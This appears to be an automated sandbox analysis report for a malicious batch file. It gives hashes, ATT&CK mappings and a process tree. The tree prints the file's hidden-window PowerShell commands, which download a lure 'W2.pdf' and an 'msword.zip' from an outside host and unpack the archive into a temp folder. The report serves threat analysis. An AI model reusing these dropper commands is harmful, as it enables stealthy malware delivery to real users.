91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-01-2025 07:55

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General

Target

e8dfdb915a523a09e139aaa900991ddd.bat
Size

498B
MD5

e8dfdb915a523a09e139aaa900991ddd
SHA1

d23f4798c549bfb7ddd968c4c2a971f67468a662
SHA256

91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e
SHA512

b4e737d1c80420688bf856df02a580b691d120307b7d31ea4766448ccd0c6eec7b2c48424691e92dffba58ca8c9a8df989f5b683d9363cac37d3dd3e5ad1623e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2252	powershell.exe
1064	powershell.exe
2152	powershell.exe
2252	powershell.exe
1064	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2252	powershell.exe
1064	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2252	3008	cmd.exe	29
PID 3008 wrote to memory of 2252	3008	cmd.exe	29
PID 3008 wrote to memory of 2252	3008	cmd.exe	29
PID 3008 wrote to memory of 1064	3008	cmd.exe	30
PID 3008 wrote to memory of 1064	3008	cmd.exe	30
PID 3008 wrote to memory of 1064	3008	cmd.exe	30
PID 3008 wrote to memory of 2152	3008	cmd.exe	31
PID 3008 wrote to memory of 2152	3008	cmd.exe	31
PID 3008 wrote to memory of 2152	3008	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\e8dfdb915a523a09e139aaa900991ddd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\Admin\Downloads\W2.pdf"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\Admin\AppData\Local\Temp\msword.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\msword -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ed96b1d3f1b0e7b7363427415e358c81

SHA1
bee8a0ca6b9cf068057b01a5788b26b82df00240

SHA256
4c642238dc07d37f7776ed90123d9d963be045035246e486232b8c2397043724

SHA512
fb05ebee076b34ba5946d12ac194e49a72523e5af94893c7d52367474dbb2eb20cc32896676fcd25f00826c09524299ba81c3d13edbd5ebf64d14a15c3ce7dbc

Download Submit
memory/1064-35-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/1064-36-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2252-4-0x000007FEF588E000-0x000007FEF588F000-memory.dmp

Filesize
4KB

Download
memory/2252-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2252-6-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2252-7-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-9-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-8-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-10-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2252-11-0x000007FEF55D0000-0x000007FEF5F6D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-22-0x00000000021F0000-0x00000000021F1000-memory.dmp

Filesize
4KB

Download